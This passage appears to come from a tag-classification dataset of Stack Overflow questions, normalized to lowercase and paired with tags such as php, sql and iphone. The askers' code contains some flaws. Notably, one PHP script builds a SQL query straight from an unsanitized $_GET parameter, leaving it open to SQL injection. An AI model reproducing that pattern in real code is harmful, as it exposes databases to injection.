2: cannot convert from  long  to  int   error   1   the best overloaded method match for  system.random.next(int  int)  has some invalid arguments   </code></pre>   i ve searched around online  and am still confused.,c#
is objective-c garbage collected   is objective-c garbage collected,objective-c
inner join of four table with mysql  i have four table.i want the result of inner join of four tables.my query is :   <pre><code>select      customer.id      customer.name      customer.opeing_balance      customer.opening_balance_type      sum(sale.total) as sum_total      sum(receipt.net_amount) as sum_net_amount       sum(sale_return.total_return) as sum_sale_return  from customer      inner join sale on customer.id=sale.cust_id      inner join receipt on customer.id=receipt.cust_id      inner join sale_return on customer.id=sale_return.cust_id  group by customer.id </code></pre>   <strong>table structure</strong>   <pre><code>customer  id   name   opening_balance    opening_balance_type 26   neena    50                  debit 27   shan     50                  debit   sale  cust_id         total 27               50 27               50 26               60 26               40  receipt  cust_id     net_amount  27            10  27            10  26            50  26             10  sale_return  cust_id         total_return  27                10  27                20  26                15  26                20 </code></pre>   result    name   opening_balance    opening_balance_type  sum_total  sum_net_amount sum_sale_return<br> neena    50                 debit               100         60               35 shan     50                 debit               100         20               30    i want the customer_name opeing_balance opening_balance_type sum of total sum of net_amount sum of total_retun of each customer.anybody give any hep,mysql
how can i save a photo of part of the screen to the local iphone s photos   i have put a uilabel that the user has chosen over a uiimageview that was also chosen by the user. i would like to put these two into a picture  kind of like a screenshot of a small part of the screen. i have absolutely no idea how to do this and have no experience in this. any help is appreciated!!,iphone
is it possible to modify the html file placed on server directly  i have one doubt in my mind. is it possible to modify the html file placed on server directly by accessing its url eg. www.abc.com/test.html. the same way we can read it directly.    thanks,html
random --> at top of blog  the following characters show at the top of <a href= https://rtbtestblog.blogspot.co.uk/  rel= nofollow noreferrer >my blog</a>:    <pre><code>--&gt; </code></pre>   i ve been trying for ages to get rid of them but can t find which section of the html is causing the problem. could anybody help      thanks!,html
precedence of the concat operator and float identifier  .  (t_constant_encapsed_string  t_dnumber)  i recently created an answer on so and i became aware of what i think is a strange behaviour in php which i never noticed due to my (the following) coding style:   <pre><code>$var = 1; echo  test string  . $var+1 .  example ; </code></pre>   this works fine  however if i remove the space between <code>1</code> and <code>.</code>:   <pre><code>echo  test string  . $var+1.  example ; </code></pre>   it will give me the <code>t_constant_encapsed_string</code> parse error and in this case expecting a <code>   </code> or <code> ; </code> which is quite incorrect.    and yes.. it will work like so:   <pre><code>echo  test string  .($var+1).  example ; </code></pre>  <hr>   the problem i m having with this is that the error message is that it does not reflect the underlying issue of what it specifically wants where most other messages are straight to the point and correct.    while i did not initially expect floating points to be the cause of this i still have a hard time understanding why the float operator takes precedence over the concat operator in the following scenario:   <pre><code>var_dump( .1  1  1.  1.0); var_dump( 1.. a    a ..1  1.0. a ); </code></pre>  <blockquote>    float(0.1)  int(1)  float(1)  float(1)<br>string(2)  1a   string(4)  a0.1   string(2)  1a   </blockquote>   now i understand that arithmetic operators should go before string operations but here is the part i just don t get:    <code> .1</code> and <code>1. </code> should indicate that <code>.</code> is a concat operator and <code>1.1</code> should indicate that <code>.</code> is an identifier for a float. instead they both give parse errors.    php is a language that is not picky when it comes to variable types:   <pre><code>var_dump(1 + 1.); // float(2) var_dump(1. + 1); // float(2) </code></pre>   you can simply use <code>+ 1</code> to add to a float  why parse <code>1.</code> as a float at all  the parse error occurs on the next token  in which it expects a digit and not even allowing it to be a concat operator.     so my question is  why does the php lexer throw so much emphasis on float identification and <em>if</em> <code>echo 1. test </code> would output <code>1test</code> could it break currently existing code    <blockquote class= spoiler >     i ve edited the question to clarify what i meant in the first place due to the negative rep i was getting. the currently accepted answer is still very much valid because i needed a way to verify php code without using <code>eval()</code>  </blockquote>,php
exception handling in c++  i have the following program using exception handling.   <pre><code>#include&lt;iostream.h&gt; #include&lt;conio.h&gt;  void divide(int x int y int z) {   cout&lt;&lt; \n inside function 1 \n ;    if((x-y)!=0)   {     int r=z/(x-y);     cout &lt;&lt;  result =  &lt;&lt; r&lt;&lt; \n ;   } // end of if   else   {     throw(x-y);   }  // end of else }   // end of void  int main() {   try   {     cout&lt;&lt;  inside try block\n ;     divide(10 20 30);     divide(10 10 20);   } //end of try   catch(int i)   {     cout&lt;&lt;  caught\n ;   }   return 0; } //end of main </code></pre>   when compiling i get the following errors   <blockquote>    function throw should have  a prototype.        undefined symbol  try         statement missing ;        function should return a value.  </blockquote>   please help me.thanks a lot,c++
c# how to make loading text simple  this is all i got so far  everything will go good until it gets too the last string in the array   <pre><code>private static string[] loading = { loading.    loading..    loading... };  public static void main(string[] args) {     while (true)     {         for (int i = 0; loading.length &gt; i; i++)         {             console.write( \r  + loading[i]);             thread.sleep(500);         }     } </code></pre>,c#
dynamic selection in sql aggregate function  imagine i have a column with row data a  b  and c.  when aggregating the column  i want b to show up if any row contains b  else c  else a.    is this possible   i m using vertica but would be curious to hear solutions for other data stores.   <pre><code>+------+-------+ | col1 | col 2 | +------+-------+ | a    |   x   | | b    |   x   | | c    |   x   | +------+-------+  select    (col1)  col2  from my_two_column_table group by col2 </code></pre>   expected result: one row - b  x,sql
app icon not showing but app is installed  android studio app icon doesnt appear in the home screen or app list but is present in setting in manage apps. i can force stop it or unistall it but not able to relaunch it.please help me.    <strong>manifest</strong>    <pre><code>&lt;application     android:allowbackup= true      android:icon= @mipmap/ic_launcher      android:label= @string/app_name      android:supportsrtl= true      android:theme= @style/apptheme &gt;     &lt;activity android:name= .first &gt;         &lt;intent-filter&gt;             &lt;action android:name= android.intent.action.first  /&gt;              &lt;category android:name= android.intent.category.launcher  /&gt;         &lt;/intent-filter&gt;     &lt;/activity&gt;     &lt;activity android:name= .mainactivity  /&gt;     &lt;activity android:name= .second /&gt;     &lt;activity android:name= .team /&gt; &lt;/application&gt; </code></pre>,android
value of textbox has changed or not  how to find whether a value of textbox has changed or not using javascript(even if we copy something and paste it using right click and paste),javascript
can a (c/c++) array initialization reference itself   i was wondering about an initialization of the following form:   <pre><code>int  array[] = { v - 1  array[0] + 1 } ; </code></pre>   in the initialization of the second element  the value of the first is used  but the entire array is not yet initialized.  this happens to compile with g++  but i was unsure whether this is actually portable and a well defined construct,c++
practical difference between keyword  print  and function  print  in python  for python2x if we use    <pre><code>from __future__ import print_function </code></pre>   the <code>print</code> will become function which is previously the <code>keyword</code>    but practically     how two of these are different      i can still use <code>print</code> the same way as i was using it when it was a <code>keyword</code>  then what difference does it make and how could it be more efficient than before,python
send a message to a view controller using -tabbarcontroller:didselectviewcontroller   i d like to send a message to a uitableviewcontroller that is attached to a tabbarcontroller  and has a naviagation bar. however  i m not sure what to do to send the message. currently (for testing purposes)  i have:   <pre><code>- (void)tabbarcontroller:(uitabbarcontroller *)tabbarcontroller didselectviewcontroller:(uiviewcontroller *)viewcontroller {     nslog( @ selected tabbar );     [viewcontroller sendmessage]; } </code></pre>   nslog fires off fine before the code fails on the next line with  unrecognized selector sent to instance...   which tells me i m close  but i m sending -sendmessage to the wrong object. what am a looking for to send -sendmessage to the uitableviewcontroller instance,iphone
how would i get onclick to activate my code  (i m super new)  as i said i m new and i need help please!    here is my html code:   <pre><code>&lt;form&gt; &lt;input type= button  value= western standerd time  onclick= paypalwest();  /&gt; &lt;script&gt; function paypalwest() { &lt;img src= https://static.wixstatic.com/media/334ca3_933382a276684385bef95aa4886cb32e~mv2.gif  onclick= window.open( https://www.paypal.com/webapps/hermes token=3wv26064v0389752r&amp;useraction=commit&amp;xclick_params=bg9naw5fzw1hawwlm0r0ag9tyxnwbgf5c2nvzgdob3n0cyuyntqwz21hawwuy29tjti2axrlbv9uyw1ljtneuemlmjzpdgvtx251bwjlciuzrdelmjzibiuzrfdpef9cdxlob3dfv1btx0lmjti2ynvzaw5lc3mlm0r0ag9tyxnwbgf5c2nvzgdob3n0cyuyntqwz21hawwuy29tjti2y3vycmvuy3lfy29kzsuzrfvtrcuynm5vdglmev91cmwlm0rodhrwcyuyntnhjtjgjtjgaw52zw50b3j5lndpec5jb20lmkzly29tbwvyy2ulmkzpcg4lmkzwyxlwywwlmjzyzxr1cm4lm0rodhrwjti1m2elmkylmkzvchrpbwl6zwqtdgvjac53axhzaxrllmnvbsuyrm15c2l0zsuynmnhbmnlbf9yzxr1cm4lm0rodhrwjti1m2elmkylmkzvchrpbwl6zwqtdgvjac53axhzaxrllmnvbsuyrm15c2l0zsuynmftb3vudcuzrdewmzalmjylmjz3yv90exbljtneqnv5tm93jti2#/checkout/login )  width= 150  height= 41 &gt; } &lt;/script&gt; &lt;/form&gt; </code></pre>   the code doesn t seem to create the paypal image  if you know anything that i m doing wrong please tell me!    thanks  thomas(aka dumbass lol),html
build contains warnings - not supported with sdk  device - iphone os 3.2 . error  i get the following warning after building my app for distrobution.    warning: building with  targeted device family  set to iphone only ( 1 ) not supported with sdk  device - iphone os 3.2 .    should the base sdk be set to the minimum os that i want to target,iphone
nested type as function argument  i have the following template class:   <pre><code> template&lt;class t&gt; class c {     typedef c_traits&lt;t&gt;                traits;     typedef typename traits::some_type type;     //...     // use  traits  and  type  a lot     //... }; </code></pre>   where <code>c_traits</code> is a template struct that has a typedef for <code>some_type</code> that is different for each specialization of the type <code>x</code>. i am trying to write a function that receives a reference to a variable of <code>type</code> as defined above  i.e.:   <pre><code> template&lt;class t&gt; //void f(const c_traits&lt;t&gt;::some_type& c)     &lt;-- this does not work either void f(const c&lt;t&gt;::type& c) {     //... } </code></pre>   i m getting an  expected unqualified-id before  &amp;  token  error on the line where f is defined. i think i understand why i am getting this error  but i d like to know if there is any way to accomplish what i m trying to do here.    put another way  i d like to do something like this:   <pre><code> template&lt;class t&gt; void f(typename const c&lt;t&gt;::type& c) {     //... } </code></pre>   which is not allowed. any thoughs,c++
how to stop nsoperation performance <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/4969168/nsoperation-performance >nsoperation performance</a>    </blockquote>     hello everybody                    in my application for server side running i think to use nsoperation..but i have little confusing  about how to handle the nsoperation and about how to stop it... any ideas about these,iphone
sql average calculation  let s say there is an employer entity and it has an attribute of salary. and employer works in a department which is located in oxford building.(building address is unique for building)     how can i write a sql query that computes the average salary per building  does it mean that salary is foreign key or what  is it correct  if i do just    <pre><code>select avg(salary) as averagesalary from employee;  </code></pre>   but in that case there will be no building,sql
merging two object arrays  java  i am trying to merge two object arrays of a type  bookcollection  into one bookcollection array. i start by making a new blank bookcollection with a size equivalent to the sum of the other two bookcollections.    the code works with the first  collection1 :   <pre><code>public static bookcollection merge(bookcollection collection1  bookcollection collection2) { bookcollection mergedcollection = new bookcollection(collection1.getsize() + collection2.getsize()); int collectionsize = 0; // add books from collection1 to mergedcollection. // this loop works  2/21/15  3:30 for (int c1 = 0; c1 &lt; collection1.getsize(); c1++) {   book bookcopy = new book(collection1.objectat(c1));   mergedcollection.addbook(bookcopy);   collectionsize += 1; }                </code></pre>   now i run into trouble. my intention is to loop through the next bookcollection (collection2) and if the book exists  just update price and stock. if it doesn t exist  i want to add the book to the bookcollection.   <pre><code>// loop through collection2 for (int c2 = 0; c2 &lt; collection2.getsize(); c2++) {   // create a copy of the current book.   book bookcopy = new book(collection2.objectat(c2));   string copyisbn = bookcopy.getisbn();   // loop through mergedcollection   for (int m = 0; m &lt; mergedcollection.getsize(); m++) {      book mergedbook = new book(mergedcollection.objectat(m));     string mergedisbn = mergedbook.getisbn();      // if the current book is already in mergedcollection.     // not getting through the logic here.     if (copyisbn.equals(mergedisbn)) {       // variables to update values in mergedcollections       double price = bookcopy.getprice();       int stock = bookcopy.getstock();       // if the mergedbook s price is larger than the collection s  change it.       if (mergedbook.getprice() &gt; price) {         mergedbook.setprice(price);       }       // update stock in mergedcollection       mergedcollection.changestock(mergedbook.getisbn()  bookcopy.getstock() + mergedbook.getstock());          // if the current book is not in mergedcollection.           } else {       mergedcollection.addbook(bookcopy);                 collectionsize += 1;     }              } } return mergedcollection; </code></pre>   }    i have tried to comment this well  and there is a comment in all caps where i believe the problem is. now i also think it s pertinent to know that addbook() as used here:   <pre><code>mergedcollection.addbook(bookcopy); </code></pre>   basically says  if i parse through the array  and get a non-null return  then i can add the book.     now  when i run this code  the compiler tells me the book i m trying to add exists and stops. so i know that a) addbook is find a non-null value  and b)this little bit of logic:   <pre><code>if (copyisbn.equals(mergedisbn)) </code></pre>   is not working as i want it to.     why doesn t my program catch book objects that occur twice and update the information,java
only content controls are allowed directly in a content page that contains content controls  only content controls are allowed directly in a content page that contains content and it is showing  red color error..     i am getting the  above error after publish the  web site in iis  in source code it is not showing any error but in iis  it is giving the error.    and one more thing is  in local server(iis) and  source code no problem but in client  iis the above problem is comming    i have  25  forms  out of 25  forms   only 3  are giving the same problem ... i am getting  master page  from each form.. can u plz give me any suggesions.. plz..,asp.net
iphone   core data  whether nsmanagedobject use lazy load mechanism when it was create   i have use core data in app  i have definite a class that most like as follows:   <pre><code>@interface master : nsmanagedobject { </code></pre>   }    @property (nonatomic  retain) nsset* details; ....    the entity master contains a property  details  that is relate to another table  this is typical master->details relationship   i trace the app   but i find a issue that the property  details  value was construct even it never be invoked .....    but i consider that the core data  should  use some lazy mechanism to improve performance   or maybe i miss some configure step   because the master entity contains at least five  child  table properties   i have to consider this problem before use the core data ....    any help   thanks for your time!,iphone
rotate image using seekbar in android  i have following code to rotate an image  but when i drag the seekbar it creates a new bitmap on older image (it should rotate the older image instead of creating new one)   can some one help me in sorting this thing out.  i have visited my older questions   but no one solved this for me    public class mainactivity extends activity implements onseekbarchangelistener {   <pre><code>imageview iv_image; seekbar seekbar; bitmap source; float angle = 0; button buttonclick; bitmap rotatedimage; static matrix matrix; matrix m1 ;  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);     init();     buttonclick = (button) findviewbyid(r.id.bt);     buttonclick.setonclicklistener(new view.onclicklistener() {         public void onclick(view view) {             angle += 90;              iv_image.builddrawingcache();             source = iv_image.getdrawingcache();             rotatedimage = rotateimage(source  angle);             iv_image.setimagebitmap(rotatedimage);         }     }); }  void init() {     iv_image = (imageview) findviewbyid(r.id.iv_image);     seekbar = (seekbar) findviewbyid(r.id.seekbar);     seekbar.setonseekbarchangelistener(this);    // seekbar.setonseekbarchangelistener((onseekbarchangelistener) this);  }  public void onprogresschanged(seekbar seekbar  int progress          boolean fromuser) {     // todo auto-generated method stub      angle = progress;     iv_image.builddrawingcache();     source = iv_image.getdrawingcache();     rotatedimage = rotateimage(source  angle);     iv_image.setimagematrix(null);     iv_image.setimagebitmap(rotatedimage); }  public void onstarttrackingtouch(seekbar seekbar) {     // todo auto-generated method stub  }  public void onstoptrackingtouch(seekbar seekbar) {     // todo auto-generated method stub  }  public static bitmap rotateimage(bitmap sourceimage  float angle) {     matrix = new matrix();     matrix.postrotate(angle);     return bitmap.createbitmap(sourceimage  0  0  sourceimage.getwidth()              sourceimage.getheight()  matrix  true);  } </code></pre>,android
getting value from the list binded to the listview  language used:c#.net hi all    i have a list of employee say as below:   <pre><code>public class employee {    public string empid { get; set; }    public string empname { get; set; } }  list&lt;employee&gt; emp = new list&lt;employee&gt;(); </code></pre>   now i am binding it to a list view and generating a url for href attribute of a tag inside the list view.but i am getting <strong>server tag not well formed</strong> kindly help. asp code is as below:   <pre><code>&lt;asp:listview id= lstview  runat= server &gt;     &lt;itemtemplate&gt;         &lt;a runat= server  href= /employee.aspx empidid=&lt;%# databinder.eval(container.dataitem  empid ) %&gt;&amp;empname=&lt;%# databinder.eval(container.dataitem  empname ) %&gt; &gt; &lt;/a&gt;     &lt;/itemtemplate&gt; &lt;/asp:listview&gt;   </code></pre>,asp.net
weird behavior while printing character array in file in c  i saw some weird behavior with my c++ function whose work is to simply put  n  ones(1).   <pre><code>char *getspaces(int n) {      char s[50];     int i = 0;      for(i=0; i&lt;n; i++) {         s[i] =  1 ;     }      s[i] = 0;     return s; } </code></pre>   when i do <code>fout&lt;&lt; getspaces(20)</code>  i get following output in the file :-   <pre><code>1111111111some_weird_characters_here </code></pre>   can anybody explain this     p.s. i am using codeblocks ide on windows platform.,c++
jquery autobrowse loading all the images  i am trying to use jquery.esn.autobrowse.js plugin for infinite scroll but ran into problem. the plugin is loading all the images at once. the problem seems the javascript is calling the url continuously by updating the offset without scrolling the page. below is the html and php script. thanks in advance for the help.    <strong>gallerypage.html</strong>   <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en   http://www.w3.org/tr/html4/loose.dtd &gt; &lt;html&gt; &lt;head&gt; &lt;script type= text/javascript  src= js/jquery-1.4.2.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/jquery.esn.autobrowse.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/jquery.json-2.2.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/jstorage.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt;  &lt;div id= content &gt; &lt;div id= gallery &gt;&lt;/div&gt;  &lt;script type= text/javascript &gt;  $(function () {         $( #gallery ).autobrowse(             {                 url: function (offset)                 {                 return  getgallery.php album_id=1&amp;page=                  +math.round(offset/20);                 }                   template: function (response)                 {                     var markup=  ;                     for (var i=0; i&lt;response.items.length; i++)                     {                         markup+= &lt;a href=  +response.items[i].photoid+  &gt;&lt;img src=  +response.items[i].image+   /&gt;&lt;/a&gt; ;                     };                     return markup;                 }                  itemsreturned: function (response) { return response.items.length; }                  offset: 0                  max: 10000                  loader:  &lt;div class= loader &gt;&lt;/div&gt;                   usecache: false                  expiration: 1              }         );  }); &lt;/script&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   <strong>getgallery.php</strong>   <pre><code>&lt; php  $count=20; $offset=0; if (isset($_get[ count ])) $count=$_get[ count ]*1; if (isset($_get[ page ]))  $offset=$_get[ page ]*$count*1; $album_id=$_get[ album_id ]; $arr = array(); $sql= select photo_id as photoid thumbnail_location as image from photos where album_id = $album_id and published=1 order by orderid limit $offset $count ; //logtofile( sql.... .$sql); $rs = mysql_query($sql);  while($obj = mysql_fetch_object($rs)) { $arr[] = $obj; }   echo  { items : .json_encode($arr). } ;   &gt; </code></pre>   if i turn on the logtofile and see what is logged to file... i see all multiple sqls being executed at the initial page load itself as below.   <pre><code>sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 0 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 20 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 40 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 60 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 80 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 100 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 120 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 140 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 160 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 180 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 200 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 220 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 240 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 260 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 260 20 sql....select photo_id as photoid thumbnail_location as image from photos where album_id = 1 and published=1 order by orderid limit 280 20 </code></pre>,jquery
sql programming involving combining columns to tables but not with join  suppose i have  columns 1  2  and 3. also suppose columns 2 and 3 are in the same table but column 1 is not. finally suppose column 1 and 2 tell the same information (order number) but aren t necessarily in the same ordering  and column 3 holds the price for that order number. how do i add a column to the table 1 is in that copies the information from column 3 but keeps the order number aligned with the price     is there a command or do i have to write a function for this,sql
php file_get_contents displaying content in different language  apologies for the vague title but am not sure how to better describe it and have been trying to work this out for hours. have searched google and can find no related answers and have also searched here with no luck - i may though be searching for the wrong thing.    this started with an issue over pulling an rss feed from bing - which works  fine on other sites but on a new site that i am building it brings the  news results back in german.    for these sites i am using godady so copied the same script to other godady hosting accounts that i have and the results from the bing rss feed came back in english as they should. on the new account however the news displays in german.    so after going through loads of things to eliminate what the problem may be i decided to do a simple test using file_get_contents.    on the new hosting space with nothing else in the webspace i created a php file with this in it:   <pre><code> &lt; php  $homepage = file_get_contents( https://www.bing.com/news/search q=cars&amp;form=yfnr&amp;format=rss );  echo $homepage;   &gt; </code></pre>   when i ran the above on the new account it displayed the page results in german when it should be english.    i copied the same test script above to another recent godaddy account and it works properly and displays the results in english.    the bing url when used in a browser displays the news in english    i have been on to godaddy support and they have tried but i think were trying to suggest it was my script. that s why i just tried the snippet above to rule everything else out.    btw all the hosting accounts that i am using are in the usa    so the question is what would cause a simple file_get_contents to translate the output results to a different language  why the two different results on different accounts     sorry for the length of posting but hope that it explains enough - please no votes down ;-),php
importerror: no module named test when ___init__.py is included  i created a python project in this format:    <img src= https://i.stack.imgur.com/jmzff.png  alt= enter image description here >    i tried to run my <code>test_jabba.py</code> by <code>cd</code>ing into the <code>tests</code> directory and running the program and i received this error:   <pre><code>traceback (most recent call last):   file  ./test_jabba.py   line 12  in &lt;module&gt;     from tests import testbench importerror: no module named tests </code></pre>   i read around and i realized i needed <code>__init__.py</code> to tell python where other packages are located.     top portion of <code>test_jabba.py</code>   <pre><code>from tests import testbench from utils import gopher  jsonstream </code></pre>   i did not add <code>__init__.py</code> into my <code>logs</code> and <code>resources</code> directories as they do no contain any python.,python
.any()/.all() when checking array elements in list  hi i m currently stuck trying to solve this problem:   <pre><code>a = [array([1 3]) array([11 3])] b = [array([1 7]) array([1 9])] c = [[array([1 3]) array([11 3])]  [array([2 6]) array([9 9])]] if b not in c:     c.append(b) if a not in c:     c.append(a) </code></pre>   i m keep getting an error message telling me that i have to correct my code using <code>any()</code> or <code>all()</code>. how do i check if an array element is already in the list or not using <code>any()</code>/<code>all()</code>,python
need help in making sql query  i m very new to sql and don t know what is wrong with my query. plz guide    i have 2 tables product and product_consumer 1 to m relation. i want to get all products and count of consumers of each product.    this is what i want:   <pre><code>id:    pcount item1  2 item2  1 </code></pre>   i have tried the following query but it only return 1st record/1 row only.   <pre><code>select prd.*  count(pc.id) pcount  from `product` as prd  join product_consumer pc on pc.id = prd.id </code></pre>,sql
how to parse json like this <pre><code>[     {          0 :  1            1 :  animals            2 :  7a415-lion.png            id :  1            category_name :  animals            category_image :  http://dev1.sbsgroupsolutions.co.in/emoticonapp/admin/assets/uploads/7a415-lion.png                                     }   ] </code></pre>,android
no known class method for selector  sharedstore   have a singleton class for bnritemstore  but when i tried to call it  i get the above error which causes an arc issue. have commented out the error.    detailviewcontroller.m   <pre><code>#import  detailviewcontroller.h  #import  bnritem.h  #import  bnrimagestore.h  #import  bnritemstore.h     @implementation detailviewcontroller @synthesize item;  -(id)initfornewitem:(bool)isnew {   self = [super initwithnibname:@ detailviewcontroller  bundle:nil];            if(self){             if (isnew) {               uibarbuttonitem *doneitem = [[uibarbuttonitem alloc]                                            initwithbarbuttonsystemitem:uibarbuttonsystemitemdone                                             target:self                                             action:@selector(save:)];               [[self navigationitem] setrightbarbuttonitem:doneitem];                uibarbuttonitem *cancelitem = [[uibarbuttonitem alloc]                                              initwithbarbuttonsystemitem:uibarbuttonsystemitemcancel                                               target:self                                               action:@selector(cancel:)];               [[self navigationitem] setleftbarbuttonitem:cancelitem];             }           }   return self; }  -(id)initwithnibname:(nsstring *)nibname bundle:(nsbundle *)bundle {   @throw [nsexception exceptionwithname:@ wrong initializer                                    reason:@ use initfornewitem:                                  userinfo:nil];   return nil; }  -(void)viewdidload {   [super viewdidload];    uicolor *clr = nil;   if ([[uidevice currentdevice]userinterfaceidiom]== uiuserinterfaceidiompad) {     clr = [uicolor colorwithred:0.875 green:0.88 blue:0.91 alpha:1];   } else {     clr = [uicolor grouptableviewbackgroundcolor];   }   [[self view]setbackgroundcolor:clr]; }  - (void)viewdidunload {   namefield = nil;   serialnumberfield = nil;   valuefield = nil;   datelabel = nil;   imageview = nil;   [super viewdidunload]; }  -(void)viewwillappear:(bool)animated {   [super viewwillappear:animated];    [namefield settext:[item itemname]];    [serialnumberfield settext:[item serialnumber]];     [valuefield settext:[nsstring stringwithformat:@ %d   [item valueindollars]]];    // create a nsdateformatter that will turn a date into a simple date string   nsdateformatter *dateformatter = [[nsdateformatter alloc]init];   [dateformatter setdatestyle:nsdateformattermediumstyle];   [dateformatter settimestyle:nsdateformatternostyle];    // use filtered nsdate  object to set datelabel contents   [datelabel settext:[dateformatter stringfromdate:[item datecreated]]];    nsstring *imagekey = [item imagekey];     if (imagekey) {     // get image for image key from image store     uiimage *imagetodisplay = [[bnrimagestore sharedstore]imageforkey:imagekey];      // use that image to put on the screen in imageview     [imageview setimage:imagetodisplay];   } else {     // clear the imageview     [imageview setimage:nil];   } }  -(void)viewwilldisappear:(bool)animated {   [super viewwilldisappear:animated];    // clear first responder  [[self view]endediting:yes];    //  save  changes to item   [item setitemname:[namefield text]];   [item setserialnumber:[serialnumberfield text]];    [item setvalueindollars:[[valuefield text] intvalue]]; }  -(bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)io {   if ([[uidevice currentdevice]userinterfaceidiom]==uiuserinterfaceidiompad) {     return yes;   } else {     return (io==uiinterfaceorientationportrait);   } }  -(void)setitem:(bnritem *)i {   item = i;   [[self navigationitem] settitle:[item itemname]]; }  - (ibaction)takepicture:(id)sender {    if ([imagepickerpopover ispopovervisible]) {     // if the popover is already up  get rid of it     [imagepickerpopover dismisspopoveranimated:yes];     imagepickerpopover = nil;     return;   }    uiimagepickercontroller *imagepicker =   [[uiimagepickercontroller alloc]init];    // if our device has a camera  we want to take a picture  otherwise  we   // just pick from the photo library   if ([uiimagepickercontroller issourcetypeavailable:uiimagepickercontrollersourcetypecamera]) {     [imagepicker setsourcetype:uiimagepickercontrollersourcetypecamera];   } else {     [imagepicker setsourcetype:uiimagepickercontrollersourcetypephotolibrary];      // this line of code will generate a warning right now  ignore it     [imagepicker setdelegate:self];      //place image picker on the screen     // check for ipad device before instantiating the popover controller     if ([[uidevice currentdevice]userinterfaceidiom]==uiuserinterfaceidiompad) {       // create a new popover controller that will display the imagepicker       imagepickerpopover = [[uipopovercontroller alloc]initwithcontentviewcontroller:imagepicker];        [imagepickerpopover setdelegate:self];        // display the popover controller; sender       // is the camera bar button item       [imagepickerpopover presentpopoverfrombarbuttonitem:sender permittedarrowdirections:uipopoverarrowdirectionany animated:yes];     } else {       [self presentviewcontroller:imagepicker animated:yes completion:nil];     }    } }  -(void)popovercontrollerdiddismisspopover:(uipopovercontroller *)popovercontroller {   nslog(@ user dismissed popover );   imagepickerpopover = nil; }  - (ibaction)backgroundtapped:(id)sender {   [[self view]endediting:yes]; }  -(void)imagepickercontroller:(uiimagepickercontroller *)picker didfinishpickingmediawithinfo:(nsdictionary *)info {   nsstring *oldkey = [item imagekey];    // did the item already have an image    if (oldkey) {     // delete the old image     [[bnrimagestore sharedstore]deleteimageforkey:oldkey];   }    uiimage *image = [info objectforkey:uiimagepickercontrolleroriginalimage];    // create a cfuuid object - it knows how to create unique identifier strings   cfuuidref newuniqueid = cfuuidcreate(kcfallocatordefault);      // create a string from unique identifier   cfstringref newuniqueidstring = cfuuidcreatestring(kcfallocatordefault  newuniqueid); // incompatible integer to pointer conversion initializing     // use that unique id to set our item s imagekey   nsstring *key = (__bridge nsstring *)newuniqueidstring;   [item setimagekey:key];    // store image in the bnrimagestore with this key   [[bnrimagestore sharedstore] setimage:image forkey:[item imagekey]];    cfrelease(newuniqueidstring);   cfrelease(newuniqueid);    [imageview setimage:image];    if ([[uidevice currentdevice]userinterfaceidiom]==uiuserinterfaceidiompad) {     // if on the phone  the image picker is presented modally. dismiss it.     [self dismissviewcontrolleranimated:yes completion:nil];   } else {     // if on the pad  the image picker is in the popover. dismiss the popover.     [imagepickerpopover dismisspopoveranimated:yes];     imagepickerpopover = nil;   }   }  -(bool)textfieldshouldreturn:(uitextfield *)textfield {   [textfield resignfirstresponder];   return yes; }  -(void)save:(id)sender {   [[self presentingviewcontroller]dismissviewcontrolleranimated:yes                                                       completion:nil]; }  -(void)cancel:(id)sender {   // if the user cancelled  then remove the bnritem from the store   [[bnritemstore sharedstore]removeitem:item]; // no known class method for selector  sharedstore     [[self presentingviewcontroller]dismissviewcontrolleranimated:yes completion:nil]; } </code></pre>   detailviewcontroller.h   <pre><code>#import &lt;uikit/uikit.h&gt;  @class bnritem;  @interface detailviewcontroller : uiviewcontroller &lt;uinavigationcontrollerdelegate  uiimagepickercontrollerdelegate uitextfielddelegate  uipopovercontrollerdelegate&gt; {   __weak iboutlet uitextfield *namefield;   __weak iboutlet uitextfield *serialnumberfield;   __weak iboutlet uitextfield *valuefield;   __weak iboutlet uilabel *datelabel;   __weak iboutlet uiimageview *imageview;    uipopovercontroller *imagepickerpopover; } @property(nonatomic strong)bnritem *item;  -(id)initfornewitem:(bool)isnew;  - (ibaction)takepicture:(id)sender;  - (ibaction)backgroundtapped:(id)sender; @end </code></pre>   bnritemstore.m   <pre><code>#import  bnritemstore.h  #import  bnritem.h    @implementation bnritemstore  + (bnritemstore *)defaultstore {   static bnritemstore *defaultstore = nil;   if(!defaultstore)     defaultstore = [[super allocwithzone:nil] init];    return defaultstore; }  + (id)allocwithzone:(nszone *)zone {   return [self defaultstore]; }  - (id)init  {   self = [super init];   if(self) {     allitems = [[nsmutablearray alloc] init];   }   return self; }  - 